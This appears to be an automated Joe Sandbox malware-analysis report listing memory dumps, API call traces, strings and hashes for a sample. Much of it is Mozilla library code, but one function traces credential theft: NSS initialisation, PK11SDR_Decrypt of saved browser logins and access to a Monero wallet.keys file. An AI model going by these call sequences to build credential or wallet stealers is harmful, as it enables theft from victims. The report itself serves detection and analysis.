Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ee33a98e055ca103b52818e576eef93147331ca96e33775baa5084b8126f380
Instruction ID: a00e091216a626abfc8f9687d3d1b8a0de8f9714998e216c102641be1c7d1e2c
Opcode Fuzzy Hash: 3ee33a98e055ca103b52818e576eef93147331ca96e33775baa5084b8126f380
Instruction Fuzzy Hash: BB11A0B250C2009FE315EA2ADC4677AB3E6EBD8320F15C82DD2D0C3250EA3454028697

Function 006D9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6C6B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C68E1A5), ref: 6C6B5606
LoadLibraryW.KERNEL32(gdi32,?,6C68E1A5), ref: 6C6B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C6B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C6B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C6B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C6B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C6B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C6B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C6B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C6B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C6B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C6B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C6B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6B57FF

Strings

GetDpiForWindow, xrefs: 6C6B5690
StretchDIBits, xrefs: 6C6B57CC
DeleteObject, xrefs: 6C6B57F9
GetMonitorInfoW, xrefs: 6C6B57A2
CreateWindowExW, xrefs: 6C6B56C5
GetThreadDpiAwarenessContext, xrefs: 6C6B562D
ReleaseDC, xrefs: 6C6B5742
SetWindowPos, xrefs: 6C6B56F7
FillRect, xrefs: 6C6B5729
CreateSolidBrush, xrefs: 6C6B57E4
GetWindowDC, xrefs: 6C6B5710
GetSystemMetricsForDpi, xrefs: 6C6B5677
ShowWindow, xrefs: 6C6B56DE
RegisterClassW, xrefs: 6C6B56AC
EnableNonClientDpiScaling, xrefs: 6C6B5666
LoadIconW, xrefs: 6C6B575B
SetWindowLongPtrW, xrefs: 6C6B57B7
user32, xrefs: 6C6B5601
MonitorFromWindow, xrefs: 6C6B578D
gdi32, xrefs: 6C6B560A
LoadCursorW, xrefs: 6C6B5774
AreDpiAwarenessContextsEqual, xrefs: 6C6B5637

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction ID: b3b9cb022db72f0e9f9477c7989f80cbda05744432ed32d297e3daa30a732aad
Opcode Fuzzy Hash: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction Fuzzy Hash: 965169707113235BDB009F36CD84A663AF8AB4A785F114925AA21F3A55EFB0F811CF6D

Function 6C69CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C66582D), ref: 6C69CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C66582D), ref: 6C69CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6CFE98,?,?,?,?,?,6C66582D), ref: 6C69CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C69CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C69CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C69CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C69CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C69CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C69CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C69CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C69CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C69CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C69CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C69CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C69CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C69CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C69CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C69CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C69CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C69CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C69CE8A

Strings

processcpu, xrefs: 6C69CE6E
nostacksampling, xrefs: 6C69CD7C
jsallocations, xrefs: 6C69CD0E
ipcmessages, xrefs: 6C69CDBE
leaf, xrefs: 6C69CC66
nativeallocations, xrefs: 6C69CDA8
cpuallthreads, xrefs: 6C69CE16
noiostacks, xrefs: 6C69CCBE
samplingallthreads, xrefs: 6C69CE2C
preferencereads, xrefs: 6C69CD92
stackwalk, xrefs: 6C69CCF8
Unrecognized feature "%s"., xrefs: 6C69CEA0
java, xrefs: 6C69CC37
markersallthreads, xrefs: 6C69CE42
notimerresolutionchange, xrefs: 6C69CE00
fileio, xrefs: 6C69CC92
mainthreadio, xrefs: 6C69CC7C
fileioall, xrefs: 6C69CCA8
seqstyle, xrefs: 6C69CCE6
power, xrefs: 6C69CE84
unregisteredthreads, xrefs: 6C69CE58
default, xrefs: 6C69CC21
audiocallbacktracing, xrefs: 6C69CDD4
screenshots, xrefs: 6C69CCD4

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction ID: 86e23dd8be6c638818287a695d03abbef18e979f159a2decd0edf4e43f665e4b
Opcode Fuzzy Hash: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction Fuzzy Hash: D05142D1B4562772FA0531156D20BEA1485EF5334AF14443AEE1BA2E90FB05E70FCAAF

Function 6C664470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C664730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
Part of subcall function 6C664730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6644D2
InitOnceExecuteOnce.KERNEL32(6C6DF80C,6C65F240,?,?), ref: 6C66451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66455C
LoadLibraryW.KERNEL32(?), ref: 6C664592
InitializeCriticalSection.KERNEL32(6C6DF770), ref: 6C6645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6645BB
InitOnceExecuteOnce.KERNEL32(6C6DF818,6C65F240,?,?), ref: 6C664612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C664636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C664644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C66466D
VerSetConditionMask.NTDLL ref: 6C66469F
VerSetConditionMask.NTDLL ref: 6C6646AB
VerSetConditionMask.NTDLL ref: 6C6646B2
VerSetConditionMask.NTDLL ref: 6C6646B9
VerSetConditionMask.NTDLL ref: 6C6646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6646FD

Strings

Gml, xrefs: 6C6644FC
l, xrefs: 6C664578
WRusr.dll, xrefs: 6C6644B5
kernel32.dll, xrefs: 6C6644CD
NativeNtBlockSet_Write, xrefs: 6C6646F7
user32.dll, xrefs: 6C664557, 6C66463F

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gml$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-884719140
Opcode ID: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction ID: eab5048da82757be091df25168019b24db7482201df077dfba6ea1edc53506d4
Opcode Fuzzy Hash: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction Fuzzy Hash: AE6106B0604244AFEB00DF63D895BA57BB8EF86348F04C458E5049BA41D7F1AA85CF9F

Function 006CC990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 006CC9A5

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,013ECEF8,00000000,?,006E144C,00000000,?,?), ref: 006CCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 006CCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 006CCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 006CCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 006CCAD9
StrStrA.SHLWAPI(?,013ECF10,006E0B52), ref: 006CCAF7
StrStrA.SHLWAPI(00000000,013ECF28), ref: 006CCB1E
StrStrA.SHLWAPI(?,013ED238,00000000,?,006E1458,00000000,?,00000000,00000000,?,013E8980,00000000,?,006E1454,00000000,?), ref: 006CCCA2
StrStrA.SHLWAPI(00000000,013ED3D8), ref: 006CCCB9

Part of subcall function 006CC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 006CC871
Part of subcall function 006CC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 006CC87C
Part of subcall function 006CC820: PK11_GetInternalKeySlot.NSS3 ref: 006CC88A
Part of subcall function 006CC820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 006CC8A5
Part of subcall function 006CC820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 006CC8EB
Part of subcall function 006CC820: PK11_FreeSlot.NSS3(?), ref: 006CC961

StrStrA.SHLWAPI(?,013ED3D8,00000000,?,006E145C,00000000,?,00000000,013E8820), ref: 006CCD5A
StrStrA.SHLWAPI(00000000,013E8B70), ref: 006CCD71

Part of subcall function 006CC820: lstrcat.KERNEL32(?,006E0B46), ref: 006CC943
Part of subcall function 006CC820: lstrcat.KERNEL32(?,006E0B47), ref: 006CC957
Part of subcall function 006CC820: lstrcat.KERNEL32(?,006E0B4E), ref: 006CC978

lstrlen.KERNEL32(00000000), ref: 006CCE44
CloseHandle.KERNEL32(00000000), ref: 006CCE9C
NSS_Shutdown.NSS3 ref: 006CCEAA

Strings

, xrefs: 006CC9C6

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: 45a5ebf83f9402ea34baad0abe390a5e33c4a713b246b63e4591ceab624febe2
Instruction ID: 5fd55bcdd1ac70300b54f38f1f97cc6dee7712626dd83105aba459717fb58c07
Opcode Fuzzy Hash: 45a5ebf83f9402ea34baad0abe390a5e33c4a713b246b63e4591ceab624febe2
Instruction Fuzzy Hash: 3AE12C71C14148AFCB54EBE0DC91FEEB77AAF14300F40415EF50666291EF306A4ADBAA

Function 006D9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 006D906C

Strings

image/jpeg, xrefs: 006D9136

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: b42d36976165164e8a22315f5d2a87e6ffba3a299a2563ddc099724d6f371def
Instruction ID: a53a30da85570a98400e54c3400059f73a6448efe4090b5866d7f1432fe0d511
Opcode Fuzzy Hash: b42d36976165164e8a22315f5d2a87e6ffba3a299a2563ddc099724d6f371def
Instruction Fuzzy Hash: 4271CBB5D14208AFDB04DBE4DC89FEEB7B9BB48700F108508F516AB290DB74A945DBA1

Function 6C6AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD52A
GetCurrentThreadId.KERNEL32 ref: 6C6AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD55F
free.MOZGLUE(00000000), ref: 6C6AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C6AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD652
GetCurrentThreadId.KERNEL32 ref: 6C6AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD6A2

